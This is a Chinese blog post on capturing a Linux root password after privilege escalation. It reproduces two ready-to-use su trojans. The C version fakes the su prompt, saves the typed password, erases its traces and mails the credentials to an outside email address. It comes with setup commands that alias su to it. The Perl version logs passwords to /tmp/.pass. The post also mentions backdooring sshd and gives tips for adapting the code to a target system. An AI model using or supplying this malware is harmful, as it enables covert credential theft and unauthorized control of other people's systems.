提权后获取Linux root密码


通过Web获取到backdoor本身是root(可能性小的可怜)或通过某漏洞溢出成功得到最高权限后,如果能获取root密码能给我们带来很多的好处。网上给出的主要是两种方法:一个是欺骗/替换su记录密码,另外一个是替换sshd(个人觉得就类似于之前的中文版Putty的那个后门一样,在连接SSH的同时记录下你输入的用户名密码),下面先看看欺骗su记录密码的代码吧!

先看第一种,kpr-fakesu.c V0.9beta167

/*
* kpr-fakesu.c V0.9beta167 ;P
* by koper <[email protected]>
*
* Setting up:
* admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
* admin@host:~$ mv .su /var/tmp/.su
* admin@host:~$ cp .bash_profile .wgetrc
* admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
* admin@host:~$ logout
* *** LOGIN ***
* admin@host:~$ su
* Password:
* su: Authentication failure
* Sorry.
* admin@host:~$ su
* Password:
* root@host:~# logout
* admin@host:~$ cat /var/tmp/.pwds
* root:dupcia17
* admin@host:~$
*
* /bin/su sends various failure information depending on the OS ver.
* Please modify the source to make it "fit"
*
*/
#include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]){
	FILE *fp;
	char *user;
	char *pass;
	char filex[100];
	char clean[100];
	sprintf(filex, "/var/tmp/.pwds");
	sprintf(clean, "rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile");
	if(argc==1) user="root";
	if(argc==2) user=argv[1];
	if(argc>2){
		if(strcmp(argv[1], "-l")==0)
			user=argv[2];
		else
			user=argv[1];
	}
	fprintf(stdout, "Password: "); pass=getpass("");
	system("sleep 3″);
	fprintf(stdout, "su: Authentication failurenSorry.n");
	if ((fp=fopen(filex, "w")) != NULL)
	{
		fprintf(fp, "%s:%s", user, pass);
		fclose(fp);
	}
	system(clean);
	system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
	/* If you don't want password in your e-mail uncomment this line: */
	system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail [email protected]");
}

注意:如果要用的话你需要根据特定的系统环境修改代码中的错误提示符以及.bash_profile等在不同系统上有差异的文件名。

还有一个Perl的版本:

#!/usr/bin/perl
################################################################################
# [email protected] 2006 su trojan check so the su path is correct.            #
# then make alias for trojan first it reads the pass then exec the real su.    #
# logging to /tmp/.pass                                                        #
################################################################################
print "Password: "; $s1=<STDIN>;
print "Sorry.n";
$s2="Password is: ";
$s3=`date +%Y-%m-%d`;
open(users, ">>/tmp/.pass") || die("Could not open file. $!");
print users($s2, $s1, $s3);
close(users);
system("/bin/su")

另一种方法是替换sshd,这里就不详细说了。

本文转自linuxso,然后稍微美化了一下其中的代码格式便于阅读。

原文链接:

http://www.linuxso.com/jiaobenruqin/568.html

,

《“提权后获取Linux root密码”》 有 11 条评论

回复 a-z 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注